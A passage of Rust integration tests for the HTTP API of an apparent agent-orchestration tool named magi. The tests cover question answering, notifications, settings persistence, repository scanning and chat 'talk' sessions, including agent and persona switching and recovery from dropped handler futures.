8210 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8211 let mut answered = store.get(&answered_id).expect("get");
8212 answered
8213 .answer(Answer::Choice("SQLite".to_owned()))
8214 .expect("answer");
8215 store.put(&mut answered).expect("put");
8216 let res = fx
8217 .post(
8218 &format!("/api/questions/{answered_id}/say"),
8219 Some(r#"{"body":"still there?"}"#),
8220 )
8221 .await;
8222 assert_eq!(res.status, 409, "{}", res.body);
8223
8224 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8225 let mut abandoned = store.get(&abandoned_id).expect("get");
8226 abandoned.abandon("timed out");
8227 store.put(&mut abandoned).expect("put");
8228 let res = fx
8229 .post(
8230 &format!("/api/questions/{abandoned_id}/say"),
8231 Some(r#"{"body":"still there?"}"#),
8232 )
8233 .await;
8234 assert_eq!(res.status, 409, "{}", res.body);
8235 }
8236
8237 #[tokio::test]
8238 async fn an_answer_the_question_does_not_offer_is_refused() {
8239 let fx = Fixture::start().await;
8240 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8241 let path = format!("/api/questions/{id}/answer");
8242
8243 for body in [
8244 r#"{"choice":"Postgres"}"#,
8245 r#"{"text":"whatever you think"}"#,
8246 r#"{"choice":"Redis","text":"both"}"#,
8247 r#"{}"#,
8248 ] {
8249 let res = fx.post(&path, Some(body)).await;
8250 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8251 assert!(res.json()["error"].is_string(), "{}", res.body);
8252 }
8253 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8255 }
8256
8257 #[tokio::test]
8258 async fn a_free_text_question_takes_text_and_not_a_choice() {
8259 let fx = Fixture::start().await;
8260 let id = ask(&fx, "What should the flag be called?", &[]);
8261 let path = format!("/api/questions/{id}/answer");
8262
8263 assert_eq!(
8264 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8265 400
8266 );
8267 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8268 assert_eq!(res.status, 200, "{}", res.body);
8269 assert_eq!(res.json()["answer"]["text"], "--json");
8270 }
8271
8272 #[tokio::test]
8273 async fn an_unknown_question_is_a_json_404() {
8274 let fx = Fixture::start().await;
8275 let res = fx
8276 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8277 .await;
8278 assert_eq!(res.status, 404, "{}", res.body);
8279 assert!(res.json()["error"].is_string());
8280 }
8281
8282 #[tokio::test]
8283 async fn notifications_list_read_dismiss_and_health_agree() {
8284 let fx = Fixture::start().await;
8285 let store = Notices::at(fx.home.path().join("notifications"));
8286 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8287 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8288
8289 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8290 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8291
8292 let health = fx.get("/api/health").await.json();
8293 assert_eq!(health["notifications_unread"], 2);
8294 assert_ne!(
8295 health["notifications_rev"], rev0,
8296 "the badge must move live"
8297 );
8298
8299 let listed = fx.get("/api/notifications").await.json();
8300 assert_eq!(listed["unread"], 2);
8301 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8302 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8303
8304 let read = fx
8305 .post(&format!("/api/notifications/{}/read", a.id), None)
8306 .await;
8307 assert_eq!(read.status, 200, "{}", read.body);
8308 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8309
8310 let gone = fx
8311 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8312 .await;
8313 assert_eq!(gone.status, 200, "{}", gone.body);
8314 let listed = fx.get("/api/notifications").await.json();
8315 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8316 assert_eq!(listed["unread"], 0);
8317
8318 store.raise(Notice::info("x", "again")).unwrap();
8319 let all = fx.post("/api/notifications/read-all", None).await;
8320 assert_eq!(all.status, 200, "{}", all.body);
8321 assert_eq!(all.json()["marked"], 1);
8322 assert_eq!(
8323 fx.get("/api/health").await.json()["notifications_unread"],
8324 0
8325 );
8326
8327 let missing = fx.post("/api/notifications/nope/read", None).await;
8328 assert_eq!(missing.status, 404, "{}", missing.body);
8329 assert!(missing.json()["error"].is_string());
8330 }
8331
8332 #[tokio::test]
8339 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8340 let f = Fixture::start().await;
8341
8342 let res = f
8343 .post(
8344 "/api/queue",
8345 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8346 )
8347 .await;
8348
8349 assert_eq!(
8350 res.status, 405,
8351 "POST /api/queue must not be a route: {}",
8352 res.body
8353 );
8354 assert!(
8355 f.queue().list().is_empty(),
8356 "a task filed by a route that does not exist must not reach the disk"
8357 );
8358 assert_eq!(f.get("/api/queue").await.status, 200);
8361 }
8362
8363 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8365 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8366 .expect("checkout dir");
8367 }
8368
8369 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8371
8372 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8373 let tmp = TempDir::new().expect("tempdir");
8374 let repo = tmp.path().join("repo");
8375 std::fs::create_dir_all(&repo).expect("repo dir");
8376 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8377 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8378 if let Some(text) = machine_toml {
8379 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8380 std::fs::write(&machine, text).expect("machine toml");
8381 }
8382 (tmp, repo, machine)
8383 }
8384
8385 #[tokio::test]
8386 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8387 let (_tmp, repo, machine) =
8388 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8389 let f = Fixture::with_repo_and_machine(repo, machine).await;
8390 let res = f.get("/api/settings").await;
8391 assert_eq!(res.status, 200, "{}", res.body);
8392 let v = res.json();
8393 assert!(v["error"].is_null(), "{v}");
8394 let role = |k: &str| {
8395 v["roles"]
8396 .as_array()
8397 .and_then(|r| r.iter().find(|x| x["key"] == k))
8398 .cloned()
8399 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8400 };
8401 assert_eq!(role("judges")["source"], "machine");
8402 assert_eq!(role("judges")["editable"], true);
8403 assert_eq!(role("implementers")["source"], "default");
8404 let adv = role("advisors");
8405 assert_eq!(adv["fallback"], "judges");
8406 assert!(
8407 adv["seats"]
8408 .as_array()
8409 .is_some_and(|s| s.iter().all(|x| x == "b")),
8410 "{adv}"
8411 );
8412 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8413 assert_eq!(v["agents"][0]["source"], "repo");
8414 }
8415
8416 #[tokio::test]
8417 async fn settings_get_reports_a_config_that_does_not_parse() {
8418 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8419 let f = Fixture::with_repo_and_machine(repo, machine).await;
8420 let res = f.get("/api/settings").await;
8421 assert_eq!(res.status, 200, "{}", res.body);
8422 let v = res.json();
8423 assert!(v["error"]["message"].is_string(), "{v}");
8424 assert!(
8425 v["error"]["path"]
8426 .as_str()
8427 .is_some_and(|p| p.ends_with("magi.toml")),
8428 "{v}"
8429 );
8430 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8431 }
8432
8433 #[tokio::test]
8434 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8435 let (_tmp, repo, machine) = settings_dirs(
8436 SETTINGS_AGENTS,
8437 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8438 );
8439 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8440 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8441 let rev = f.get("/api/settings").await.json()["revision"]
8442 .as_str()
8443 .expect("revision")
8444 .to_owned();
8445 let body = serde_json::json!({
8446 "revision": rev,
8447 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8448 })
8449 .to_string();
8450 let res = f.put("/api/settings/roles", &body).await;
8451 assert_eq!(res.status, 200, "{}", res.body);
8452 let text = std::fs::read_to_string(&machine).expect("machine");
8453 assert_eq!(
8454 text,
8455 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8456 );
8457 assert_eq!(
8458 std::fs::read(repo.join("magi.toml")).expect("read"),
8459 repo_before
8460 );
8461 let again = f.get("/api/settings").await.json();
8462 let judges = again["roles"]
8463 .as_array()
8464 .expect("roles")
8465 .iter()
8466 .find(|r| r["key"] == "judges")
8467 .expect("judges")
8468 .clone();
8469 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8470 let stale = f.put("/api/settings/roles", &body).await;
8472 assert_eq!(stale.status, 409, "{}", stale.body);
8473 }
8474
8475 #[tokio::test]
8476 async fn settings_counts_are_reported_and_saved() {
8477 let (_tmp, repo, machine) = settings_dirs(
8478 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8479 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8480 );
8481 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8482 let v = f.get("/api/settings").await.json();
8483 let count = |v: &serde_json::Value, k: &str| {
8484 v["roles"]
8485 .as_array()
8486 .and_then(|r| r.iter().find(|x| x["key"] == k))
8487 .map(|x| x["count"].clone())
8488 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8489 };
8490 let imp = count(&v, "implementers");
8491 assert_eq!(imp["value"], 2);
8492 assert_eq!(imp["source"], "machine");
8493 assert_eq!(imp["file_key"], "candidates");
8494 assert_eq!(imp["roster_len"], 2);
8495 assert_eq!(imp["backups"], 0);
8496 assert_eq!(count(&v, "judges")["source"], "default");
8497 assert_eq!(count(&v, "advisors")["min"], 0);
8498 assert_eq!(count(&v, "reviewers")["editable"], false);
8499 assert!(
8500 count(&v, "reviewers")["locked_reason"]
8501 .as_str()
8502 .is_some_and(|m| m.contains("graph.reviewers"))
8503 );
8504 assert!(count(&v, "fixer").is_null());
8505 let rev = v["revision"].as_str().expect("revision").to_owned();
8506 let body = serde_json::json!({
8507 "revision": rev,
8508 "roles": { "judges": ["b"] },
8509 "counts": { "implementers": 1, "advisors": 0 }
8510 })
8511 .to_string();
8512 let res = f.put("/api/settings/roles", &body).await;
8513 assert_eq!(res.status, 200, "{}", res.body);
8514 let text = std::fs::read_to_string(&machine).expect("machine");
8515 assert_eq!(
8516 text,
8517 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8518 );
8519 let after = f.get("/api/settings").await.json();
8520 assert_eq!(count(&after, "implementers")["value"], 1);
8521 assert_eq!(count(&after, "implementers")["backups"], 1);
8522 assert_eq!(count(&after, "advisors")["value"], 0);
8523 let before = std::fs::read_to_string(&machine).expect("machine");
8524 let rev = after["revision"].as_str().expect("revision").to_owned();
8525 for counts in [
8526 serde_json::json!({ "judges": 0 }),
8527 serde_json::json!({ "judges": "x" }),
8528 serde_json::json!({ "judges": 2.5 }),
8529 serde_json::json!({ "judges": -1 }),
8530 serde_json::json!({ "reviewers": 3 }),
8531 serde_json::json!({ "bogus": 3 }),
8532 ] {
8533 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8534 let res = f.put("/api/settings/roles", &body).await;
8535 assert_eq!(res.status, 422, "{counts}: {}", res.body);
8536 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8537 }
8538 }
8539
8540 #[tokio::test]
8541 async fn settings_put_refuses_without_touching_the_file() {
8542 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8543 let (_tmp, repo, machine) = settings_dirs(
8544 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8545 Some(machine_text),
8546 );
8547 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8548 let rev = f.get("/api/settings").await.json()["revision"]
8549 .as_str()
8550 .expect("revision")
8551 .to_owned();
8552 for roles in [
8553 serde_json::json!({ "judges": ["nope"] }),
8554 serde_json::json!({ "reviewers": ["b"] }),
8555 serde_json::json!({ "bogus": ["a"] }),
8556 ] {
8557 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8558 let res = f.put("/api/settings/roles", &body).await;
8559 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8560 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8561 assert_eq!(
8562 std::fs::read_to_string(&machine).expect("machine"),
8563 machine_text
8564 );
8565 }
8566 }
8567
8568 #[tokio::test]
8569 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8570 let tmp = TempDir::new().expect("tempdir");
8571 let repo = tmp.path().join("repo");
8572 std::fs::create_dir_all(&repo).expect("repo dir");
8573 let root = tmp.path().join("root");
8574 make_checkout(&root, "github.com", "yukimemi", "magi");
8575 std::fs::write(
8576 repo.join("magi.toml"),
8577 format!(
8578 "[repos]\nroots = [{:?}]\n",
8579 root.to_string_lossy().into_owned()
8580 ),
8581 )
8582 .expect("write magi.toml");
8583
8584 let f = Fixture::with_repo(repo).await;
8585 let res = f.get("/api/repos").await;
8586 assert_eq!(res.status, 200, "{}", res.body);
8587 let list = res.json();
8588 let repos = list.as_array().expect("an array");
8589 assert_eq!(repos.len(), 1);
8590 assert_eq!(repos[0]["name"], "yukimemi/magi");
8591 assert!(
8592 repos[0]["path"]
8593 .as_str()
8594 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8595 "{list}"
8596 );
8597 }
8598
8599 #[tokio::test]
8600 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8601 let tmp = TempDir::new().expect("tempdir");
8602 let repo = tmp.path().join("repo");
8603 std::fs::create_dir_all(&repo).expect("repo dir");
8604 let root = tmp.path().join("root");
8605 make_checkout(&root, "github.com", "yukimemi", "magi");
8606 std::fs::write(
8607 repo.join("magi.toml"),
8608 format!(
8609 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8610 root.to_string_lossy().into_owned()
8611 ),
8612 )
8613 .expect("write magi.toml");
8614
8615 let f = Fixture::with_repo(repo).await;
8616 let first = f.get("/api/repos").await;
8617 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8618
8619 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8622 let second = f.get("/api/repos").await;
8623 assert_eq!(
8624 second.json().as_array().map(Vec::len),
8625 Some(1),
8626 "a fresh cache must not rescan inside the TTL"
8627 );
8628
8629 let refreshed = f.get("/api/repos?refresh=1").await;
8630 assert_eq!(
8631 refreshed.json().as_array().map(Vec::len),
8632 Some(2),
8633 "an explicit refresh must rescan even inside the TTL"
8634 );
8635 }
8636
8637 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8643
8644 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8648 let tmp = TempDir::new().expect("tempdir");
8649 let repo = tmp.path().join("repo");
8650 std::fs::create_dir_all(&repo).expect("repo dir");
8651 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8652 let f = Fixture::with_repo(repo.clone()).await;
8653 (tmp, repo, f)
8654 }
8655
8656 #[tokio::test]
8657 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8658 let (_tmp, _repo, f) = talk_fixture().await;
8659
8660 let opened = f.post("/api/talks", None).await;
8663 assert_eq!(opened.status, 201, "{}", opened.body);
8664 let body = opened.json();
8665 assert_eq!(body["status"], "open");
8666 assert_eq!(
8667 body["turns"].as_array().unwrap().len(),
8668 0,
8669 "opening takes no agent turn: there is nothing yet to answer"
8670 );
8671
8672 let also_opened = f.post("/api/talks", Some("{}")).await;
8674 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8675
8676 let listed = f.get("/api/talks").await.json();
8677 assert_eq!(listed.as_array().unwrap().len(), 2);
8678 }
8679
8680 #[tokio::test]
8681 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8682 let tmp = TempDir::new().expect("tempdir");
8683 let repo = tmp.path().join("repo");
8684 std::fs::create_dir_all(&repo).expect("repo dir");
8685 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8686 std::fs::write(
8687 repo.join("magi.toml"),
8688 format!("{MOCK_AGENT_TOML}\n{second}"),
8689 )
8690 .expect("write magi.toml");
8691 let home = TempDir::new().expect("temp home");
8692 let talks = Talks::at(home.path().join("talks"));
8693 let ui = Arc::new(
8694 Ui::new(
8695 Queue::at(home.path().join("queue")),
8696 Questions::at(home.path().join("questions")),
8697 talks.clone(),
8698 home.path().join("runs"),
8699 home.path().to_path_buf(),
8700 repo.clone(),
8701 )
8702 .with_worktrees_root(home.path().join("wt")),
8703 );
8704 let cfg = config_for(&repo).await.expect("discover config");
8705 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8706 let id = talk.id.clone();
8707 let call = |agent: &str| {
8708 talk_agent(
8709 State(Arc::clone(&ui)),
8710 Path(id.clone()),
8711 Json(TalkAgent {
8712 agent: agent.to_owned(),
8713 }),
8714 )
8715 };
8716
8717 let unknown = call("nobody").await.expect_err("unknown agent");
8718 assert_eq!(
8719 unknown.status,
8720 StatusCode::BAD_REQUEST,
8721 "{}",
8722 unknown.message
8723 );
8724
8725 {
8726 let mut claimed = None;
8729 for _ in 0..200 {
8730 claimed = ui.begin_talk_turn(&id).expect("claim");
8731 if claimed.is_some() {
8732 break;
8733 }
8734 tokio::time::sleep(Duration::from_millis(10)).await;
8735 }
8736 let _busy = claimed.expect("free");
8737 let busy = call("second").await.expect_err("busy talk");
8738 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8739 }
8740 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8741
8742 let Json(view) = call("second").await.expect("switch");
8743 assert_eq!(view.talk.agent, "second");
8744 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8745 let saved = talks.get(&id).expect("reload");
8746 assert_eq!(saved.agent, "second");
8747 assert_eq!(saved.turns.len(), 1);
8748
8749 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8750 .await
8751 .expect("detail");
8752 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8753 assert_eq!(roster, ["mock", "second"]);
8754
8755 let mut closed = talks.get(&id).expect("reload");
8756 talk::close(&mut closed, &talks).expect("close");
8757 let refused = call("mock").await.expect_err("closed talk");
8758 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8759 }
8760
8761 #[tokio::test]
8762 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
8763 let tmp = TempDir::new().expect("tempdir");
8764 let repo = tmp.path().join("repo");
8765 std::fs::create_dir_all(&repo).expect("repo dir");
8766 std::fs::write(
8767 repo.join("magi.toml"),
8768 format!(
8769 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
8770 ),
8771 )
8772 .expect("write magi.toml");
8773 let home = TempDir::new().expect("temp home");
8774 let talks = Talks::at(home.path().join("talks"));
8775 let ui = Arc::new(
8776 Ui::new(
8777 Queue::at(home.path().join("queue")),
8778 Questions::at(home.path().join("questions")),
8779 talks.clone(),
8780 home.path().join("runs"),
8781 home.path().to_path_buf(),
8782 repo.clone(),
8783 )
8784 .with_worktrees_root(home.path().join("wt")),
8785 );
8786 let cfg = config_for(&repo).await.expect("discover config");
8787 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8788 let id = talk.id.clone();
8789 let call = |persona: &str| {
8790 talk_persona(
8791 State(Arc::clone(&ui)),
8792 Path(id.clone()),
8793 Json(TalkPersona {
8794 persona: persona.to_owned(),
8795 }),
8796 )
8797 };
8798
8799 let unknown = call("nobody").await.expect_err("unknown persona");
8800 assert_eq!(
8801 unknown.status,
8802 StatusCode::BAD_REQUEST,
8803 "{}",
8804 unknown.message
8805 );
8806
8807 {
8808 let mut claimed = None;
8809 for _ in 0..200 {
8810 claimed = ui.begin_talk_turn(&id).expect("claim");
8811 if claimed.is_some() {
8812 break;
8813 }
8814 tokio::time::sleep(Duration::from_millis(10)).await;
8815 }
8816 let _busy = claimed.expect("free");
8817 let busy = call("rei").await.expect_err("busy talk");
8818 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8819 }
8820 assert_eq!(talks.get(&id).expect("reload").persona, "");
8821
8822 let Json(view) = call("gendo").await.expect("switch to a configured persona");
8823 assert_eq!(view.talk.persona, "gendo");
8824 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
8825
8826 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8827 .await
8828 .expect("detail");
8829 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
8830 assert_eq!(ids.first(), Some(&"default"));
8831 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
8832
8833 let Json(view) = call("default").await.expect("back to default");
8834 assert_eq!(view.talk.persona, "");
8835
8836 let mut closed = talks.get(&id).expect("reload");
8837 talk::close(&mut closed, &talks).expect("close");
8838 let refused = call("rei").await.expect_err("closed talk");
8839 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8840 }
8841
8842 #[tokio::test]
8843 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8844 let f = Fixture::start().await;
8845 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8846 let queue = f.queue();
8847 let mut mine = Task::new(
8848 "rename the loader".to_owned(),
8849 "rename the loader".to_owned(),
8850 PathBuf::from("/repo/magi"),
8851 Source::Agent {
8852 run: talk_id.clone(),
8853 node: "chat".to_owned(),
8854 },
8855 );
8856 queue.put(&mut mine).expect("file the task");
8857 let mut theirs = Task::new(
8858 "unrelated".to_owned(),
8859 "unrelated".to_owned(),
8860 PathBuf::from("/repo/magi"),
8861 Source::Human,
8862 );
8863 queue.put(&mut theirs).expect("file the task");
8864
8865 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8866 assert_eq!(res.status, 200, "{}", res.body);
8867 let body = res.json();
8868 assert_eq!(
8869 body["status"], "open",
8870 "filing a task does not close a talk"
8871 );
8872 let tasks = body["tasks"].as_array().expect("tasks array");
8873 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8874 assert_eq!(tasks[0]["id"], mine.id);
8875 }
8876
8877 #[tokio::test]
8878 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8879 let (_tmp, _repo, f) = talk_fixture().await;
8880 let id = f.post("/api/talks", None).await.json()["id"]
8881 .as_str()
8882 .expect("id")
8883 .to_owned();
8884
8885 let res = f
8886 .post(
8887 &format!("/api/talks/{id}/say"),
8888 Some(r#"{"text":"what does the queue module do?"}"#),
8889 )
8890 .await;
8891 assert_eq!(res.status, 202, "{}", res.body);
8892 let queued = res.json();
8893 let turns = queued["turns"].as_array().expect("turns array");
8894 assert_eq!(
8895 turns.len(),
8896 1,
8897 "the answer reflects only what is on disk the instant it is sent, \
8898 before the agent's turn - which can run for the whole of \
8899 `[graph] timeout_talk` - has a chance to land: {queued}"
8900 );
8901 assert_eq!(turns[0]["who"], "operator");
8902 assert_eq!(turns[0]["body"], "what does the queue module do?");
8903 assert_eq!(
8904 queued["thinking"], true,
8905 "the accepted response exposes the background turn claim: {queued}"
8906 );
8907
8908 let mut turns_after = 1;
8909 for _ in 0..SETTLE_STEPS {
8910 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8911 turns_after = detail["turns"].as_array().expect("turns array").len();
8912 if turns_after == 2 {
8913 break;
8914 }
8915 tokio::time::sleep(Duration::from_millis(10)).await;
8916 }
8917 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8918 }
8919
8920 #[tokio::test]
8947 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8948 let tmp = TempDir::new().expect("tempdir");
8949 let repo = tmp.path().join("repo");
8950 std::fs::create_dir_all(&repo).expect("repo dir");
8951 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8952 let home = TempDir::new().expect("temp home");
8953 let talks = Talks::at(home.path().join("talks"));
8954 let ui = Arc::new(
8955 Ui::new(
8956 Queue::at(home.path().join("queue")),
8957 Questions::at(home.path().join("questions")),
8958 talks.clone(),
8959 home.path().join("runs"),
8960 home.path().to_path_buf(),
8961 repo.clone(),
8962 )
8963 .with_worktrees_root(home.path().join("wt")),
8964 );
8965 let cfg = config_for(&repo).await.expect("discover config");
8966
8967 for delay in 0..40u32 {
8968 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8969 let id = talk.id.clone();
8970
8971 let handler = tokio::spawn(talk_say(
8972 State(Arc::clone(&ui)),
8973 Path(id.clone()),
8974 Ok(Json(NewTalkTurn {
8975 text: "what does the queue module do?".to_owned(),
8976 attachments: Vec::new(),
8977 })),
8978 ));
8979 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8980 handler.abort();
8981 let _ = handler.await;
8984
8985 let mut turns = 0;
8986 for _ in 0..SETTLE_STEPS {
8987 if let Ok(fresh) = talks.get(&id) {
8988 turns = fresh.turns.len();
8989 if turns != 1 {
8990 break;
8991 }
8992 }
8993 tokio::time::sleep(Duration::from_millis(10)).await;
8994 }
8995 assert_ne!(
8996 turns, 1,
8997 "delay {delay}: talk {id} recorded the operator's turn but \
8998 the agent never answered - the reply task was never \
8999 started after the handler future was dropped"
9000 );
9001 }
9002 }
9003
9004 #[tokio::test]
9049 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9050 let tmp = TempDir::new().expect("tempdir");
9051 let repo = tmp.path().join("repo");
9052 std::fs::create_dir_all(&repo).expect("repo dir");
9053 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9054 let home = TempDir::new().expect("temp home");
9055 let talks = Talks::at(home.path().join("talks"));
9056 let ui = Arc::new(
9057 Ui::new(
9058 Queue::at(home.path().join("queue")),
9059 Questions::at(home.path().join("questions")),
9060 talks.clone(),
9061 home.path().join("runs"),
9062 home.path().to_path_buf(),
9063 repo.clone(),
9064 )
9065 .with_worktrees_root(home.path().join("wt")),
9066 );
9067 let cfg = config_for(&repo).await.expect("discover config");
9068
9069 for attempt in 0..3u32 {
9070 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9071 let id = talk.id.clone();
9072 let turn_guard = ui
9075 .begin_talk_turn(&id)
9076 .expect("claim the turn")
9077 .expect("a fresh talk owes nobody a turn");
9078
9079 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9080 let (release_tx, release_rx) = std::sync::mpsc::channel();
9081 ui.set_busy_queue_gate(BusyQueueGate {
9082 reached: reached_tx,
9083 release: release_rx,
9084 });
9085
9086 let handler = tokio::spawn(talk_say(
9087 State(Arc::clone(&ui)),
9088 Path(id.clone()),
9089 Ok(Json(NewTalkTurn {
9090 text: "what does the queue module do?".to_owned(),
9091 attachments: Vec::new(),
9092 })),
9093 ));
9094
9095 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9100 .await
9101 .unwrap_or_else(|_| {
9102 panic!(
9103 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9104 )
9105 })
9106 .expect("the busy branch dropped the gate without using it");
9107
9108 let running = talks.get(&id).expect("reload talk");
9115 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9116
9117 handler.abort();
9121 let _ = handler.await;
9122
9123 let _ = release_tx.send(());
9129
9130 let mut fresh = talks.get(&id).expect("reload talk");
9133 for _ in 0..SETTLE_STEPS {
9134 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9135 break;
9136 }
9137 tokio::time::sleep(Duration::from_millis(10)).await;
9138 fresh = talks.get(&id).expect("reload talk");
9139 }
9140 assert!(
9141 fresh.pending.is_empty() && fresh.turns.len() == 2,
9142 "attempt {attempt}: talk {id} left the operator's text queued \
9143 with no drainer - the reclaimed turn was dropped along with \
9144 the handler future (pending {:?}, {} turns)",
9145 fresh.pending,
9146 fresh.turns.len()
9147 );
9148 }
9149 }
9150
9151 #[tokio::test]
9152 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9153 let (_tmp, _repo, f) = talk_fixture().await;
9154 let id = f.post("/api/talks", None).await.json()["id"]
9155 .as_str()
9156 .expect("id")
9157 .to_owned();
9158 let store = f.talks();
9159 let mut recovered = store.get(&id).expect("opened talk");
9160 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9161 .expect("persist pending draft without a live turn");
9162
9163 let edited = f
9164 .post(
9165 &format!("/api/talks/{id}/pending/edit"),
9166 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9167 )
9168 .await;
9169 assert_eq!(edited.status, 200, "{}", edited.body);
9170 assert!(edited.json()["thinking"].as_bool().unwrap());
9171
9172 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9173 for _ in 0..SETTLE_STEPS {
9174 if detail["turns"].as_array().expect("turns").len() == 2 {
9175 break;
9176 }
9177 tokio::time::sleep(Duration::from_millis(10)).await;
9178 detail = f.get(&format!("/api/talks/{id}")).await.json();
9179 }
9180 let turns = detail["turns"].as_array().expect("turns");
